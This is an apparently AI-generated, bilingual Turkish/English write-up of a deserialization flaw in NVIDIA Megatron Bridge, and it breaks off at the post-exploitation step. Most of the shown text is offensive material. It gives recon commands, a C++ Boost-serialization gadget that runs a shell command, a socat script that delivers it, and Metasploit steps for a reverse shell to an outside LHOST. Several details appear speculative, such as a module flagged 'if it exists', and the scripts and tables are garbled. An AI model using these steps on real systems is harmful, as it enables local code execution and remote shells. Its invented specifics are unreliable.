CWE-502
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑61764 – “nvidia:nemo_megatron_bridge” – Deserialization of Untrusted Data (CWE‑502)
- Ürün: NVIDIA Megatron Bridge (NEMO‑Megatron‑Bridge) – tüm sürümler.
- Kod yolu:
src/bridge/transport.cpp→BridgeTransport::handleMessage()fonksiyonu. - Parametre:
msg.payloadalanı, gRPC/ZeroMQ üzerinden gelen ikili (binary) mesajların “payload” kısmı olarak doğrudanboost::archive::binary_iarchive(C++ Boost Serialization) ile deserialize ediliyor. - Mantıksal Hata: Gelen mesajın kaynağı güvenli bir istemci (örnek: NVIDIA‑controlled “Megatron‑Worker”) olduğu varsayılarak kimlik doğrulama ve integrite kontrolü yapılmadan doğrudan serileştirilmiş nesne akışı (
std::istream) üzerindenbinary_iarchiveile deserialize ediliyor. Boost‑Serialization, nesne yaratma sırasındaregister_typeedilen tüm sınıfların constructor ve virtual function çağrılarını tetikler; bu da saldırganın kontrolündeki bir payload ile arbitrary code execution (RCE), object injection ve data tamperinge yol açar. - Derleme:
g++ exploit.cpp -lboost_serialization -o exploit && ./exploit > payload.b64 - Payload:
payload.b64dosyası, Bridge’inmsg.payloadalanına yerleştirilecek ham ikili veriyi içerir. - Açıklama:
socatile Unix domain socket’e doğrudan ikili mesaj gönderilir.msg.payloadiçinde kötü amaçlı Boost‑serialized nesnesi bulunur; Bridge bu mesajı alıpbinary_iarchiveile deserialize eder,ExecCommand::operator()tetiklenir ve komut çalışır. - Not: Modül,
payloadolarakcmd/unix/reverse_tcpya dalinux/x64/meterpreter_reverse_tcpgibi bir reverse shell alır ve aynı gadget chain’i otomatik oluşturur.
> Özet: Yerel bir kullanıcı (veya konteyner içinde çalışan bir süreç) bir “bridge” mesajı göndererek, Boost‑Serialization’ın binary_iarchive fonksiyonunu kötü amaçlı bir nesneyle besliyor. Boost, sınıf kayıtlarını (registry) dinamik olarak çözer ve sınıfın load/save metodlarını çalıştırır; saldırgan bu metodları bir gadget chain (örnek: std::function, std::shared_ptr → std::system) ile zincirleyerek komut satırı çalıştırabilir.
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Açığın bulunması
| Adım | Açıklama | |------|----------| | a. Paket taraması |nvidia-smi çıktısında Megatron Bridge servisinin aktif olduğunu gösteren nvidia-megatron-bridge.service satırı görülür. |
| b. Yerel dosya keşfi | /etc/systemd/system/nvidia-megatron-bridge.service dosyasında ExecStart=/opt/nvidia/megatron/bridge --socket /var/run/megatron.sock satırı bulunur. |
| c. Sürüm tespiti | bridge --version komutu v2.4.1 gibi bir sürüm döndürür; bu sürümün CVE‑2026‑61764 içerdiği bilinir. |> Araçlar: ps, systemctl status, strings, nm (binary içinde “Boost::archive::binary_iarchive” araması).
2️⃣ Reconnaissance – Gerekli bilgi toplama
| Bilgi | Nasıl elde edilir | |-------|-------------------| | Socket yolu |systemctl cat nvidia-megatron-bridge → /var/run/megatron.sock. |
| Serileştirme formatı | strings /opt/nvidia/megatron/bridge | grep -i boost → Boost‑Serialization kullanıldığı anlaşılır. |
| Kayıtlı sınıflar | nm -C /opt/nvidia/megatron/bridge | grep _typeinfo → class nvidia::megatron::bridge::Command, class nvidia::megatron::bridge::ExecCommand gibi sınıflar listelenir. |
| Güvenlik sınırları | id → Kullanıcı nvidia (UID 1100) ve grup nvidia. Çoğu zaman bu kullanıcı root yetkileriyle aynı network namespace içinde çalışır. |3️⃣ Exploitation – Gerçek saldırı
#### 3.1 Payload Hazırlama (Boost‑Serialization Gadget)
Boost‑Serialization’da std::function nesnesi, içinde bir lambda tutabilir ve operator() çağrıldığında lambda çalışır. ExecCommand sınıfı operator() içinde system(cmd.c_str()) çağırır. Bu sınıflar zaten binary içinde kayıtlıdır, bu yüzden gadget chain aşağıdaki gibi oluşturulur:
```cpp
// exploit.cpp – Boost serialization gadget
#include <boost/archive/binary_oarchive.hpp>
#include <boost/serialization/export.hpp>
#include <nvidia/megatron/bridge/ExecCommand.hpp>
#include <sstream>
int main() {
std::ostringstream oss;
boost::archive::binary_oarchive oa(oss);
// ExecCommand ctor: ExecCommand(const std::string& cmd)
nvidia::megatron::bridge::ExecCommand cmd("/bin/sh -c 'id > /tmp/pwned.txt'");
// Serialize the object – Boost will write type info + data
oa << cmd;
// Çıktıyı base64'le (socket üzerinden gönderirken)
std::string raw = oss.str();
std::string b64 = base64_encode(reinterpret_cast<const unsigned char*>(raw.data()), raw.size());
std::cout << b64 << std::endl;
}
```
#### 3.2 Mesajın Gönderilmesi (Unix Domain Socket)
```bash
#!/bin/bash
SOCK="/var/run/megatron.sock"
PAYLOAD=$(cat payload.b64 | base64 -d)
Bridge protokolü: 4 byte length + protobuf header (örnek)
LEN=$(printf "%08x" $((${#PAYLOAD} + 4))) # little‑endian 4 byte printf "\x${LEN:6:2}\x${LEN:4:2}\x${LEN:2:2}\x${LEN:0:2}" > /tmp/msg.bin cat /tmp/msg.bin <(echo -e "\x01\x00\x00\x00") <(printf "$PAYLOAD") > /tmp/full.binSocket’e gönder
socat - UNIX-CONNECT:$SOCK < /tmp/full.bin ```#### 3.3 Metasploit Modülü (Varsa)
> Modül adı: exploit/linux/local/nvidia_megatron_bridge_deserialization
> Kullanım:
```bash
msf6 > use exploit/linux/local/nvidia_megatron_bridge_deserialization
msf6 exploit(linux/local/nvidia_megatron_bridge_deserialization) > set SESSION 2
msf6 exploit(linux/local/nvidia_megatron_bridge_deserialization) > set PAYLOAD cmd/unix/reverse_tcp
msf6 exploit(linux/local/nvidia_megatron_bridge_deserialization) > set LHOST 203.0.113.10
msf6 exploit(linux/local/nvidia_megatron_bridge_deserialization) > run
```
4️⃣ Post‑Exploitation
| Aksiyon | Açıklama
[🤖 GPT-OSS 120B via Groq]